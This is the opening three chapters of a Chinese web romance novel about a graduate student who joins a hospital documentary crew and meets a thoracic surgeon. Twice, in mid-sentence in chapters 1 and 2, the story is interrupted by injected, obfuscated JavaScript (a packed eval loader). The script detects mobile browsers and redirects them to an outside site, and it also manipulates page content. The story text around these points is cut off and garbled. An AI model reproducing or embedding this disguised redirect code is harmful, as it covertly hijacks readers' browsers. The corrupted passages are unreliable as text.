《充当路灯的月亮》 1. 【01】 《充当路灯的月亮》 文/史今朝 2021.6.6 “林洛希!” 中气十足的一句话,就这样冷不丁地从头顶浇了下来。 被叫到名字的女生随即止住脚步,闻声朝二楼望去。 梁时遇穿着件白色衬衫,衣袖挽至小臂,正倚着栏杆,目光审视地看向楼下。 林洛希站在一楼大厅,仰头对上梁时遇的目光,毕恭毕敬地叫了声:“梁老师。” “来我办公室一趟。” 自己的导师发话,林洛希丝毫不敢怠慢,赶紧三步并作两步地往二楼跑。 看她进来,梁时遇从书柜里拿出个白瓷杯,指了指沙发,示意她先坐,“今天不是没课吗?来学院楼干什么?” 林洛希答:“来复印一些资料。” 梁时遇了然地点了点头,把白瓷杯放在她桌前,又转身从办公桌上拿起了一壶刚沏好的茶。 林洛希看着他正要弯腰给自己斟茶的动作,身子往前倾了倾,推拒道:“我来吧。” 梁时遇摆摆手,示意说不用。 片刻后,几缕茶香袅袅升起,梁时遇这才在她旁边的沙发上坐了下来,“知道我今天找你什么事吗?” 问完,也不等她回答,他长臂一伸,从身旁的书架上拿下了两本期刊,“给,出版社刚寄来的,两篇文章前后脚发了,一篇《经济研究》的二作,一篇C刊一作。” 原来叫我过来就是为了这事儿啊。 看到这儿,林洛希瞬间放下了心,面带微笑地双手接过导师手中的杂志,微微颔首,诚恳地道了声谢:“谢谢梁老师的悉心教导。” 道完谢后,她连扉页都没掀开,便云淡风轻地将那两本杂志装进了书包。 然后,抬头,看着梁时遇,目光似是在问:老师,您还有别的吩咐吗? “......” 梁时遇被她这一通操作直接给整不会了。 《经济研究》,那可是经济学顶级期刊啊。他堂堂一个大学教授,在上面发一篇文章,虽谈不上有多激动,但至少也得在第一时间翻开,如视珍宝地好好观摩观摩自己的研究成果。 他这学生可倒好,够“两袖清风”,就这么揣进了包里,看都不稀罕看一眼。 不知道的,还以为他刚给了她一个烫手山芋。 气氛安静了一会儿,梁时遇忍不住笑了:“林洛希,你腕儿还挺大。” “嗯?” 梁时遇看她一脸茫然,没执著于要个解释,目光轻抬,把这事自行翻了篇:“喝茶。” 林洛希“哦”了一声,倾身拿起面前的白瓷杯。 “今天找你过来,还有件更重要的事儿,”前面似乎只是个开场,梁时遇这才切入正题,“我怎么听说,你拒了风盛的offer?” 闻言,林洛希的表情终于不像刚才那般云淡风轻,平静的眸中起了波澜。 她拿起茶杯的手顿了顿,神情也明显的怔愣了下,眼睛漏出一点余光看着梁时遇,略带忐忑地问:“......您是怎么知道的啊?” “风盛的人力总监是我同学。” “啊?那您早说啊,早说我就让您给我引荐一下了,您都不知道风盛的offer有多难拿......” 说着说着,她就感觉不对劲了。 梁时遇也是服了他这个傻学生,喉间溢出一丝低哑的笑:“你也知道风盛的offer难拿?我以为你不知道呢?” 林洛希:“......” “连风盛的offer都舍得拒,”梁时遇靠着椅背,好整以暇地看着她,“博士也不读,怎么着,是打算毕业的时候开天窗?” 在这样的步步紧逼中,林洛希气势莫名就弱了下来。她看着梁时遇,避重就轻地反驳了一句:“这不是离毕业还有一年么......” 没想到会是这么个不靠谱的理由,梁时遇轻啧一声,无奈地揉了揉眉心。 都说现在的年轻人心气比天高,看来还真是不假。 但默了片刻,他还是基于为人师表的立场,语重心长道:“林洛希,我相信以你的资质,找个好工作完全不成问题,但你要清楚——” 林洛希抬眸:“清楚什么?” “清楚风盛就是最好的。” “......” “那可是顶级投行,薪资水平、发展前景,你能找到比这个还好的?” “......” “这样吧,我跟我那个同学说一下,你呢,也打个电话跟人家道个歉,这事儿就当没发生,你就按照人家的要求老老实实去实习,一毕业就能转正,晋升路径都给你摆在那儿了,年薪百万不是梦,前途一片光明。” “梁老师,”接连几个回合下来,林洛希终究没忍住问了句,“您是不是在风盛投有股份啊?” “你少在这儿跟我贫,”梁时遇当机立断,拿手机调出通讯录,“我明天要去外地开个研讨会,趁着我今天还有机会当面提携提携你。” “可……” “林洛希。”他打断她。 “嗯?” “到了那儿好好干,你可是我带的第一个研究生,别把我的招牌给砸了。” “梁老师,您放心,您这招牌我铁定得给您立起来。” 梁时遇淡笑一声:“你能有这觉悟就行。” “但我......”林洛希顿了顿,“能不能换个地方立?” 闻言,梁时遇滑着通讯录的手指一停。 随之,他抬眸,对上她的目光。 “这话什么意思?” - 时间沉默无声地,答完所有问,踱步至翌日清晨。 北方城市的春天向来都是一晃而过,短的像珍稀物品。京溪市沐在柳絮纷飞的四月里,刚刚结束了一场全民B-box。 然后,就无缝衔接地,一秒入了夏。 早晨六点的钟,卷着温热的风,拂过碧湖雁塔,将掩在桃红青柳中的京溪大学,照衬得愈发生动。 林洛希穿着一件白色T恤,行走在校园的林荫大道上,入耳处是朗朗书声,入眼处是满目温柔。 看来,今儿这天气,还挺喜人。 直到拐过这片绿荫,初阳毫无遮掩地照在她颈后,滋出略微灼热的触感,林洛希才意识到,她不喜欢的夏天,就这样来了。 好在地铁冷气已经开了。 她赶在早高峰之前坐上四号线,中间经过一次换乘,换到一号线,又坐了几站,终于在耳机里捕捉到一句播报:“开往京溪大学附属医院站方向的列车即将进站,请您不要倚靠屏蔽门,按照标识线提示......” 播报声刚落,地铁靠站停稳,滴滴两声后,地铁门和站台门同时开,林洛希随人群下了车。 扶梯一路向上,日复一日地履行着自己的职责,将鱼贯的人群从有限的空间,托举至一个无限的人间。 不少人迈着急促的脚步,由上至下地奔走着,携起的风擦着耳廓飞驰而过,连带着周围的空气都变得紧张起来。 出了地铁站,林洛希沿着熟悉的路线走向本次出行的目的地—— 京溪大学附属医院。 目之所及处,几幢楼宇比肩而立,正中央的红色牌匾上,京溪大学的题字遒劲有力,黛青色的砖墙在阳光下泛着沉淀之后的蓝,古韵意味十足。这座有着近百年历史的医院,每一砖每一瓦都彰显着厚重的底蕴,以及与之相配的,顶尖的医疗水准。 此情此景,让林洛希蓦地想起一个形容来:这是一家没有转院通知书的医院。 倒计时三秒之后,红灯变绿,她随着人潮走向马路对面。 医院门口总是人来车往,鲜少有门庭冷落的时候。 不过......凭借直觉,林洛希敏锐地捕捉到了今天有些不同寻常。 想到这儿,她略微放慢脚步,往急诊楼的救护车等候区望了一眼。数辆救护车都大敞着后门,明显是刚运送完病人的状态。 与此同时,一阵急促的呼救声传入耳畔,她侧目一看,车行道上,一辆救护车正鸣笛疾驰着。 瞬间,她步伐加快,由快走变为奔跑,快跑到急诊楼门口的时候,她看到一个熟悉的身影,扬声叫了句:“铮哥!” 姜铮扛着摄像机,艰难地朝她挥了个手,疾步朝她跑来,喘着粗气说:“凤栖路发生连环车祸,堵得一塌糊涂,我从那里跑过来的。” “连环车祸?伤亡多少?” “具体不知道,不过其中有一辆是几乎满载的公交车。” 两三句话的功夫,两个人已经将各自的准备工作做好。 姜铮将摄像机架在肩上,林洛希拿好录音笔和记事本,两个人对视了一眼,姜铮说:“走吧。” “嗯。”林洛希跟上他的脚步。 这便是她扛着导师梁时遇的招牌,另辟的“蹊径”—— 医学纪录片《24小时》的编导。 也可以说是跟拍编剧。 总之,就是跟她所学的专业屁大点关系都没有。 急诊室里各种声音交错着,姜铮先用摄像机拍了一下全景,林洛希则目光专注地寻找着急诊科主任孙博涵的身影。 中间靠窗的病床上,躺着一个看起来十来岁的少年,刚被救护车送来的他,因为伤势过重已经昏迷了过去,身上插着的管子,是他向外界传递生命信息的唯一通道。 孙博涵站在病床边,一边看着监测器上的生命特征,一边拿出听诊器,动作快速又标准。 林洛希赶紧抬手示意姜铮过来,与此同时,在确保不影响医务人员工作的情况下,用耳朵敏锐地捕捉着新的信息。 开放静脉通路之后,护士安然的目光在这个男孩身上多停留了几秒,疑问道:“这孩子怎么这么眼熟?” 另一名护士调出他的既往病历,说:“前几天突发胸痛送的急诊,昨天刚在我们医院做的手术。” 听到这儿,安然眸中滑过一丝诧异:“你是说他昨天刚做的手术,今天就出院了?” 没等到回答,孙博涵冷静的声音就响了起来:“血氧饱和度掉得太快,胸腔内有杂音,怀疑大出血,腹部有明显外伤。” 安然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574885|171517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应极快,一边往外跑一边说:“我马上联系胸外下来会诊。” “回来,”孙博涵叫住她,“你联系也没用。” 早上的那场车祸,事发紧急,伤亡惨重。京溪医院为了这场急救,从一大早就开始忙碌,昨晚值夜班的医生,全部都没有回家。 孙博涵看着监视器上一路往下掉的生命指标,说:“胸外科所有医生,现在全部都在上手术......” “我来。” 一个温润清沉的声音,没有任何预兆地,从身后响起。 林洛希正在做记录的手猛然一顿。 与此同时,所有人纷纷朝声音的来源望去,姜铮的镜头也随之向后转。 一个修长挺拔的身影就这么走进了取景框。 来人步伐极快,挟着阵风。 须臾之间,他已经走到了病床边,拿出一次性医用手套戴上之后,开始用听诊器为病人听音。 环境就这么安静了几秒,林洛希的手也随之停下,目光停留在这个人身上。 他躬着腰,肩背被踱步进来的阳光层层笼罩着,饱和度不同的光影,似国画工笔,浓淡适宜地勾勒出他流畅分明的身形轮廓。 晃神的片刻,他已经做完检查,语气沉稳地下着结论:“胸腹联合伤,马上送到手术室麻醉,手术我来做。” “好。”安然应下,然后抬手叫了几个医务人员过来推床。 姜铮看着这幕场景,言简意赅地对林洛希说:“你留,我去。” 林洛希点头说好。 长达半个月的岗前培训,已经培养出两个人在面对突发情况时的默契。 刚才还危机四伏的险情,因天降大将,终于暂时化险为夷。 很快,病床被推走,原本逼仄的空间瞬间变得宽阔,原本的五个人,也在此刻变成了两个。 留在急诊室继续工作的林洛希,和穿着白大褂正在摘一次性手套的这位“大将”。 垃圾箱正巧在她站的这一侧,因此这位“大将”一边摘着手套一边朝她走近。 也是在这一刻,林洛希抬起了眸。 眼下这个瞬间,当真抵得上一句—— 抬眼见君子。 穿堂而过的阳光从他身后倾泻而下,他迎着光走来,身形清瘦高挑,白大褂穿得标准合矩,露出的同色系衬衫领,熨帖工整,针脚细密。 光影糅合交叠,衬得他五官轮廓深邃立体,却又不失...... 林洛希正想着合适的形容词。 下一秒,猝不及防地,两人四目相接。 他就这样平直地看了过来,眼尾稍扬着,似是一种邀请,自带请君入席的特效。 因此,在这种情况下,林洛希窥伺他的目光,实属本能之举。 挺拔的鼻梁之上,那双眼睛生得极为优越。浓密睫毛下的深棕色眼瞳,清澈如镜,落进来的阳光被这镜面散射,漫成了粼粼波光。 温柔至极,又毫不刺眼。 这种不显山不露水的魔法,最是容易让人迷失。 等林洛希在那双眼睛里看到自己的身影时,这才意识到自己的失礼。 ——她已经盯着他看了太久。 权衡利弊之后,她迅速敛起眉眼,打算避开他的目光,让这份尴尬自行消解。 但目光向下扫的过程中,却意外瞥见新的风景,引她去探个究竟。 别在他左胸的铭牌上,有一个用标准正楷体印着的名字。 陆...... 陆什么? 铭牌表面太过光滑,被窗外阳光一照,有些反光,她没能一下看清。 于是,她身子下意识地朝他凑近了些。 那个名字终于暂时逃脱阳光的追捕,得以真相大白地出现在眼前。 说不清是本能反应,还是好奇心驱使,看着那个名字,她竟然鬼使神差地读了出声。 “陆、陆谨闻?” 此刻,被叫到名字的人,正微微躬身,将手套扔在垃圾桶。 几乎是瞬间,他动作极快地直起了身子,快得连他自己或许都没有意识到,刚才听到她声音时手指的那一瞬停顿。 他站得笔挺端正,眼底挟着笑意回视着她,目光带着明显的探询意味。 林洛希:“......” 再一次失礼了。 “那个、我是纪录片的工作人员,记一下你的名字,是为了方便之后的工作,”她佯装淡定,尽力挽回着局面,“你、你名字还挺好听。” 听到这么个蹩脚的理由,陆谨闻没忍住浅笑了一声,眸光微垂,看向她,嗓音无限温柔:“你名字也挺好听。” “你怎么知道我名......”下意识的一个反问。 但问题还没说完,她就看到他指了指她身前的衣服,跑了出去。 步伐极快,如来时,挟着阵风。 林洛希看着那个身影跑远,才顺着他刚才指的方向低下头来,看向自己的身前。 纯白的T恤上,印着一个倾斜的英文单词—— Intuition. 直觉。 2. 【02】 直觉? 什么直觉? 林洛希目光微垂,盯着自己的衣服晃了下神,才把这一问一答间的逻辑串成线。 “你怎么知道我名字很好听?” “直觉。” 哇哦! 理清了其中的逻辑线,她非但没觉得这个答案有多哇塞,反倒是想起了昨晚发生在寝室的一幕。 昨天,从学院楼出来之后,林洛希又去了趟图书馆,回到寝室的时候已经快十点了,三人的寝室,只有迟臻臻一个人在。 她坐在自己的书桌前,桌上摊着笔记本电脑,上面播放着一个刚出的偶像剧,屏幕中间,却是一个三角形的暂停键。 观看者迟臻臻脸上敷着面膜,正看着那个暂停键,哭得梨花带雨。 林洛希:“......” 人家面膜本来是精华液大本营,这一哭可倒好,直接成了细菌培养皿。 她赶紧把东西放下,跑到她面前,问:“臻臻大宝贝,哭什么呢?” 迟臻臻抽泣着:“我偶像演了个渣男!” 林洛希:“......” 然后,她一侧目,看了看上面的集数—— 第一集。 又看了看下面的进度条—— 七分二十三秒。 这其中,还包括了三四分钟的主题曲。 林洛希:“......” “你这才看到第一集......的第七分钟,怎么就断定人家是渣男?” “就这种,第一次见面就能对着一个陌生人,把撩人的话说得漫不经心又得心应手的,肯定是渣男,”迟臻臻理直气也壮,“还长着一双深情眼,就是顶级渣男!” 时钟晃过一个夏夜,此时此刻,林洛希站在正盛的晨光里,想了想刚才那双看过来的眼睛。 确实称得上是一双深情眼。 哦。 顶级渣男。 - 这结论下得相当草率、没有客观依据、先入为主、以偏概全,一点儿都不符合她的处事作风。 但此情此景,由不得她去深究这个结论的偏颇与否,很快,她便将这个插曲在脑海里清了零。 正巧这个时候,姜铮来了电话,林洛希接起,那边言简意赅:“孩子送进手术室了,孩子母亲在外面。” “好,我马上到。” 手术室在六楼,对面就是重症监护室,两者相距一个过道。 电梯门刚开,滑轮摩擦地面的声音,就伴着急促的脚步声一起,不容忽视地传入了林洛希的耳朵。她动作敏捷地往后一退,好给他们让出空间。 紧接着,ICU大门打开,病床被里面的工作人员接了进去。 下一秒,大门紧闭,所有人被隔绝在外。 林洛希朝ICU的方向看了一眼,于那扇玻璃门后面,看到了自己的同事。他们穿着隔离服,身上的每一寸都全部武装,包括架着的那台摄像机。 由于手术室和ICU的特殊性,进入必须经过极为严格的消毒,拍摄难度也随之增大。为了保证拍摄的完整性和连贯性,纪录片团队拨了两队人,分别驻守。 林洛希收回视线的时候,正好与姜铮的目光对上。他正扛着摄像机,在拍摄空镜头。 她快步朝他走近,直截了当地问:“哪位是?” 姜铮下巴微抬,指了指左手边的方向,说:“靠墙的那一排,左边数第二个。” 林洛希顺着他的视线看过去。 女人穿着一件深蓝色棉布衫,身形瘦削孱弱,背靠着墙,双眸失焦地望着地面的某个角落。眼底下的浓重青灰,是她奔劳多日的痕迹。 林洛希朝她走近了些,双手撑着膝盖在她面前缓缓蹲下,轻轻叫了声:“阿姨。” 被叫到的女人低下头,看着林洛希。因为神经紧绷了太久,她愣了一下神才反应过来,前几天来医院办手续时,她不熟悉挂号的操作和流程,就是这个姑娘帮的她的忙。 认出林洛希之后,她尽力挤出一个笑容,嗓音却沙哑疲惫至极:“是你啊,姑娘。” 与此同时,一墙之隔的手术室内。 沈明承实施着麻醉,看着监测器上的生命体征,语气有些不可置信:“陆谨闻主刀?他从美国回来了?” “听说是昨天的航班,”护士原野应着他,“不过他今天怎么来医院了,我早上还在群里看到他上午要去医学院开交流会。” “谁知道呢?”沈明承随意应道。 “我看医学院的那些师弟师妹都激动得很,这下看来是被放鸽子了。” “放就放了,就现在这种情况,还得亏他来了,”沈明承说,“交流会什么时候都能开,人命可不等人。” 原野点点头,继续忙着自己的手头工作。 “这孩子怎么回事儿,”昨天的手术恰好也是沈明承做的麻醉,因此他一眼就认出来了躺在病床上的人,“刚做完手术就出院?” “听安然说,好像是这孩子自己跑出来的,他妈妈都不知道。估计是昨晚守了一夜,早上好不容易睡会儿,孩子趁着她不注意就跑了出来。” “这年头的孩子们都怎么想的,叫孟航是吧,”沈明承看着他病历,“他做的不是胸腔纵膈肿瘤切除术么,手术完伤口可不少疼,有人刚做完手术下地都费劲,这小子倒好,不仅不嫌疼,还一个人跑那么远,”他叹了口气,“还不幸遭遇了车祸。等他醒了,我非得过去问问他到底想去干什么,值得他这么拼命......” “问完之后跟我说说,我也挺好奇。” 一段清和嗓音突然插了进来,截断了沈明承未说完的那句话。 陆谨闻站在门口,透白无影的光拢着他修长而挺拔的身影,他穿着手术服,深邃狭长的眼睛裸露在外,如沉静湖面,无波无澜。 “哟,陆大医生好久不见啊,”沈明承笑着跟他打趣,“这怎么着,我听说你撂下一屋子师弟师妹,是专程赶过来看我的?” 陆谨闻目光放在监视仪器上,等护士在身后为他系好腰带,然后走到病床前,看着沈明承,附和着点了点头:“嗯。” 沈明承被这突如其来的肯定撞了一下腰,还有点不可置信。 陆谨闻:“毕竟你天下无敌。” 沈明承没听懂:“嗯?” 陆谨闻笑而不答。 原野笑而答:“人不要脸,天下无敌。” 沈明承:“......” 孟航的伤势不算轻,再加上昨天刚做过手术,伤口尚未愈合,身体机能也较弱,所以整场手术难度不小。手术进行了两个多小时,结束的时候已经十点有余。 “这失血量,不愧是胸外一把刀。” 陆谨闻对这夸奖相当不受用,淡淡瞥沈明承一眼:“夸过了。” 两个人走出手术室,陆谨闻摘下口罩,脚步顿了顿,问:“我们医院要拍纪录片?” 沈明承费劲巴拉地揽上陆谨闻的肩,调侃道:“我说你这消息够灵通的啊。” 陆谨闻下意识笑了:“刚看到摄像机了。” “确实是要拍,跟宣传部合作的,国际知名纪录片导演陈不语,亲自操刀,”说到这儿,沈明承一下子来了劲,“欸,跟你说,摄制组有个编导,长得贼漂亮,就跟仙女似的,还是咱们师妹。” 陆谨闻眼眸微敛,一个板上钉钉的名字在他心中一晃而过。 但他没接话。 滔滔不绝的是沈明承:“你知道么,院里不少单身男医生都放话了。” 陆谨闻停住脚步,目光有疑:“放什么话?” “你不是一向对这些八卦都不感兴趣的么,”沈明承饶有兴致地看着他,“今儿这是什么情况?” 陆谨闻睨他一眼:“你爱说不说。” 沈明承看他这个没耐心的样子,拖长音调“嘿”了一声,追上他的步调,才继续道:“他们放话说,纪录片拍完之时,就是他们结束单身之际。” 话音刚落,两人正好走到手术室的走廊尽头。 这里宽敞安静,落针可闻。 再加上墙壁的回音。 怎么讲—— 有点掷地有声的意思。 片刻。 风过,针落。 陆谨闻在这回音里,扯出一抹笑—— “成,那我拭目以待。” - 做完手术后,孟航转入普通病房。 因为全身麻醉,被推到病房后,孟航就沉沉睡了过去。管床的护士过来交代了几句注意事项,站在床边的方静了然于心地连连点头。 毕竟,这些事儿,她昨天刚经历过一遍。 等护士走后,方静靠着床边坐了下来,垂眸看着躺在病床上的儿子,第一次觉得有经验这个词,富含嘲讽的意味。 镜头摄下她的无助和哀伤。 孟航床位靠窗,阳光不受遮挡,倾洒而下。 方静坐在初夏的炽阳里,周身却泛着孤寂。 她低头,敛眉,弱弱倾诉。 “我早上就眯了那么一会儿,他就跑出去了。” “他这是干什么去了呢?” “有什么事情这么重要呢?” “他是不是不知道,他要是出了什么事,我也活不下去了。” ...... 她不住发问。 可这些话,就像一根断了线的风筝,来处清晰,终点却飘摇成谜。 长长久久的疑问里,她得到的答案,只有沉默。 林洛希望着这一幕,心里蓦地涌出一句话: 母亲这个身份究竟有多温柔,才让她连质问,用的都是第三人称。 - 一个上午,无数人的命运在生死之间,一跃而过。 好在,有惊无险。 中午,林洛希正准备下去吃饭的时候,正好碰上安然换班,于是两个人就一起去了。 医院的员工餐厅,向来没有特定饭点。毕竟,所有的意外,都不会有提前预报。 打好饭后,安然戳戳林洛希的胳膊,抬眼示意道:“我们去坐那里吧。” 林洛希对坐哪儿没什么意见,应了声好。 两个人几乎是穿越了大半个餐厅,才走到目的地。林洛希在安然对面坐下,这个位置有些偏,再加上有一个大理石柱做遮挡,自然形成一片清凉的阴翳,与此同时,也形成了一种与外界的短暂隔绝感。 “我一般吃饭都会坐在这里,这是我的秘密基地。”安然说。 林洛希:“秘密基地?” “嗯,”安然点头,“这位置离餐口和餐具回收处都比较远,大家为了方便,一般不会有人过来这边坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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难不成,真如迟臻臻所说? 是...... 可是,不像啊...... 思绪就这么纷飞了几个回合,也没找到一个落地点。 林洛希觉得自己真是有够无聊的。 明明只有几秒钟的一个对视,却愣是被她放慢成了一个悠远景深的长镜头。 然后,她还任凭这个镜头在自己脑海里反复排演,非要论证出一个“迟臻臻错了,他不是渣男”的结论。 她觉得自己幼稚得很,没忍住笑出了声。 安然咬红烧肉的动作一顿:“你笑什么?” “啊?”林洛希怔忡了一瞬,很快把自己的笑容收了回来,按捺不住内心的好奇问,“安然,你们医院,是有个医生,叫陆谨闻吗?” “嗯,就是今天给孟航做手术的那个医生。” “那我之前怎么没见过他。” “他去美国做医学交流了,”安然嚼着红烧肉,口齿有些模糊不清,“你们来医院培训的时候,他没在。” 林洛希若有所思地点了点头:“这样啊~~~” 尾音拖出一种意味深长。 安然正吃肉吃得起劲,血液都往胃部流,大脑根本没功夫去琢磨林洛希这些问话背后的深意,不以为然地“嗯”了一声。 直到一份红烧肉入了肚,她意识逐渐清明,再一咂摸林洛希刚才的那句话。 瞬间,脑内沉睡的八卦因子,开始熊熊燃烧。 “什么情况?”安然拍了下桌子,语调也变得兴奋起来,“你说,你是不是看上人家了?” “......”林洛希被她这阵仗吓了一跳,“不是,我是有个问题想问你。” “行了行了,不必多说不必多说,我知道你想问什么,”安然抽出一张纸巾,擦了擦手,然后又煞有介事地拍了拍,硬生生营造出一种“领导讲话,大家注意听”的仪式感来,“这样吧,我就言简意赅。” 林洛希:“?” 言简意赅什么? “我就这么跟你说吧,”安然手撑在饭桌上,抵着下巴,模仿着领导发言的语调,“这陆医生,可是我们医院的掌中宝,不论医术医德、学识涵养,还是长相、家世,个个都是顶配,你就把你能想到的最高标准往他身上安,保准只有你想不到的,没有他达不到的,那可是真正的名门望族,医学世家。” 林洛希:“......” 敢情还是被误会了。 以为她这是来征婚了。 以防话题跑偏更远,林洛希赶紧把它拉了回来:“不是,我不是想问这个,我是想问......” 此刻,单纯只是想印证迟臻臻“渣男理论”错误的林洛希,绞尽脑汁也不会预料到,她说话的同时,背后的山水画悄然绽开了一角。 青白交错的大理石柱背后,款款走来一个颀长身影。 清风修竹般,俊朗生风。 安然看到来人,明显一愣,下意识喊出口:“陆医生——” 林洛希对此浑然不觉,就着上句话,无缝衔接道:“他应该不是渣男吧?” 3. 【03】 世界N大未解之谜中,有一个你我都感同身受过。 那就是读书时,原本喧闹的教室,总会在瞬间安静下来。 并且,这份突如其来的安静,往往没有任何预兆。 更无逻辑可寻。 因为当你们小心翼翼地去探寻这一场沉默的由来,结果往往是,既没有老师来,也没有任何大事发生。 当发现是虚惊一场后,全班人便会再次默契十足地,哄堂笑开。 这是一种难以解释的群体默契。 却遵循着同样的一条路径—— 莫名安静、紧张探寻、有惊无险、默契笑开。 林洛希感觉现在的气氛就处在第一阶段。 ——莫名安静。 就是话音刚落、整个世界都安静了的那种感觉。 因此,纵然看到安然上扬的目光和错愕的眼神,林洛希已经在心里把目前的状况猜了个八.九不离十,但她还是抱着侥幸心理,准备偷偷往后瞄一眼。 说曹操曹操到? 不不不,肯定不会那么巧的。 肯定不会的。 这样她也可以像中学时代那样,无事发生地和安然相视一笑。 然后,她就顺着安然的视线,慢慢转过了脸。 下一秒,猝不及防地,和“曹操”四目相接。 林洛希:“......” “陆医生——” “他应该不是渣男吧?” 两句话,被两个人同时说出来,并且还衔接得如此自然。 更邪门的是,这话里的“曹操”还正好到。 林洛希:“......” 这特么就非常尴尬了吧。 天时地利人和组合在一起,让她直呼一个好家伙! 不禁暗忖道:买彩票的时候怎么没有这样的运气! 瞧瞧这默契度,真是无人能敌,无懈可击! 不过,可能万事都遵循物极必反的定律,尴尬也是。 人在面对极度尴尬的局面时,反倒会生出一种破罐破摔的勇气。 林洛希现在就是这样的状态—— 内心排山倒海,面上淡定如斯。 甚至,还有功夫在心里排演一段小品。 “那怎么能说是特别默契呢?”白云大妈的声音近在耳畔,“那是相当默契!” 说完之后,白云大妈从座位上站起来,长臂奋力挥舞着,左一道右一道,语气铿锵: 那可真是—— 滴水不漏! 承前启后! 天衣无缝! 无隙可乘! ...... 沉默是春晚的黑土。 也是此刻的林洛希。 就连一向心比脸大的安然,也着实被这场面尬住了,叫完“陆医生”之后便没了下文。 直到一个电话,将她拯救。 看到孙博涵的来电提醒,安然第一次觉得,自己还有这么热爱工作的时候。 “孙主任的电话,我先过去了,你慢慢吃啊,洛希。” 说完,她就端着餐盘,走了。 走了...... 林洛希:“?” 白衣天使,见死不救? 成,那我自救。 至于自救的办法...... 她决定坦白从宽。 她没做亏心事,不怕鬼敲门,用不着磨磨唧唧或扭扭捏捏,显得自己真有什么想法似的。 那话说的武断,她承认,她可以为此道歉。但她出发点并非出于不堪,或是猎奇,她只是单纯地想要印证一下,陆谨闻并不符合迟臻臻那个逻辑不通的渣男定律。 想明白之后,林洛希正准备起身向他解释。结果,刚转过脸,她还没来得及从座位上站起,就被一股起于身侧的微风,温柔托举着,下沉回了原地。 那一瞬间,她闻到他身上干净清冽的气息。 陆谨闻走过她身前,她的目光跟着他的身影移动,几乎是一种下意识的追随。 等他在对面落座后,林洛希猛地一抬眸,与他的视线再次径直对上。 金色的阳光透过窗棂,落了他满身。他就坐在那片暖金色里,嘴角挂着浅淡的笑意,双手叉在胸前,一副要讨个说法的架势,眉眼里却满是悉听尊便的耐心。 看着这一幕,不知为何,林洛希心跳莫名一滞。 只觉自己对他的第一印象,形容得何其贴切—— 抬眼见君子。 亦如此刻。 她那话,往小了说是无心之失,可不论怎样,也避不开冒犯和失礼。 但面对这样的遑论,他没着急要个解释,也没任何不悦表情。 林洛希甚至觉得,如果不是安然叫了他一声,他应该会假装没听到地径直走过。 所以,她突然间,不想先行解释了。 她想看看,面前这个人,会如何面对别人在背后对他的议论。 还是这种有失偏颇的议论。 是会温柔提醒,还是厉声警告。 抑或是,毫不在意。 或许是看出她的沉默,陆谨闻倒没继续噤声,饶有兴致地打量了她一会儿,正准备开口说话。 结果,一声来自餐厅那头的呼喊就先于他的声音响起。 “陆谨闻!”程厉站在餐具回收处,朝着他大喊,“你快点儿!所有人都等你呢!” 陆谨闻:“......” 这话来得可真是个时候。 末了,他还是没敢怠慢这话里的催促,从座位上站了起来。 不过,“伸冤”之路被迫打断,他实在是心有不甘。 就像这脚步,有种说不上来的沉重。 所以,他终究还是,没忍住折返。 折过身来,屈指轻点了下林洛希面前的桌面,含笑嗓音沉沉落下:“纪录片不都讲究个实事求是?” 闻言,林洛希抬眸,再次望向他。 陆谨闻低头,看着她笑:“你通过别人获取的都是二手资料,要是真想知道答案——”他微微躬身,温热气息落在悉数落在她身侧,“倒不如直接来问我,我给你一手资料。” 说完,起身,走远。 感受到他的离去,林洛希下意识转过身来。 像刚才一样,目光追随着他的背影,像是在追索一个答案。 此时正午刚过,阳光从四面八方灌进来。 其中有一缕,爬上了他的肩头,随他一路起伏,最后又溜进她的眼睛。 像是在走一条熟稔至极的路线。 林洛希凝望着他的背影,肩宽腰窄,垂至膝盖的白大褂随着他的动作微微晃动,一双腿包裹在黑色西裤内,笔直修长。 浑身上下,只有黑白两种颜色。 风格极简,牵动出的风景却格外惊艳。 否则也不至于,直到那个身影彻底消失在视线,林洛希才回过神来。 回过神来,他那句话的意思是—— 想知道我是不是渣男,自己来问,别问别人。 林洛希:“......” 得! 这仇,终究还是记下了。 - “跟谁说话呢,笑得这么满面春风,”程厉说着,还往陆谨闻来的那个方向瞄了一眼,但有障碍物遮挡,他没能看清,“那位置可真够偏的啊,到底是谁啊,能劳烦你不远万里,倾情送笑。” “我说你就不能长点眼色?”陆谨闻极为无奈地瞪了他一眼,“外派美国的就我一人?会议你不能上去开?” 程厉笑:“我这口才跟你没法比。” “你少来。”陆谨闻根本不吃他这一套。 “行了,我够仗义了啊,你上午放学生鸽子,还不是我替你上的场?你是没看到,那些师弟师妹得知你不来之后,我承受了多少失望的目光,心理素质不好的人都得当场阵亡,”程厉煞有介事地哀叹一声,“这医院内部交流会,下面做的不是导师,就是师爷,我上去作报告,腿直打哆嗦。” 陆谨闻冷哼一声:“你就这点儿出息。” 两人有一搭没一搭地说着,相继走进电梯。 罕见地,电梯里竟然没人。 陆谨闻趁着这密闭空间,说:“程厉,问你个事。” 程厉正对着电梯里的反光玻璃,极为做作地整理着自己的发梢,漫不经心道:“你说。” 陆谨闻轻咳两声才开口:“我像渣男吗?” 闻言,程厉翘起的手指猛的一顿,不可置信地确认道:“你说什么?” “算了,”陆谨闻意识到自己真是病急乱投医,就不能指望程厉这个不靠谱的,“你就当我什么都没问。” “就你?还渣男?你可赶紧拉倒吧,”程厉倒是一下子来了兴致,勾 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“她人很好,不会不给的。” “......”纵然是得到了这么个答案,庞征还是忍不住想要吐槽的心,“我真是服了,我们学校的医学院为什么不在主校区啊,这也太限制我发挥了。” 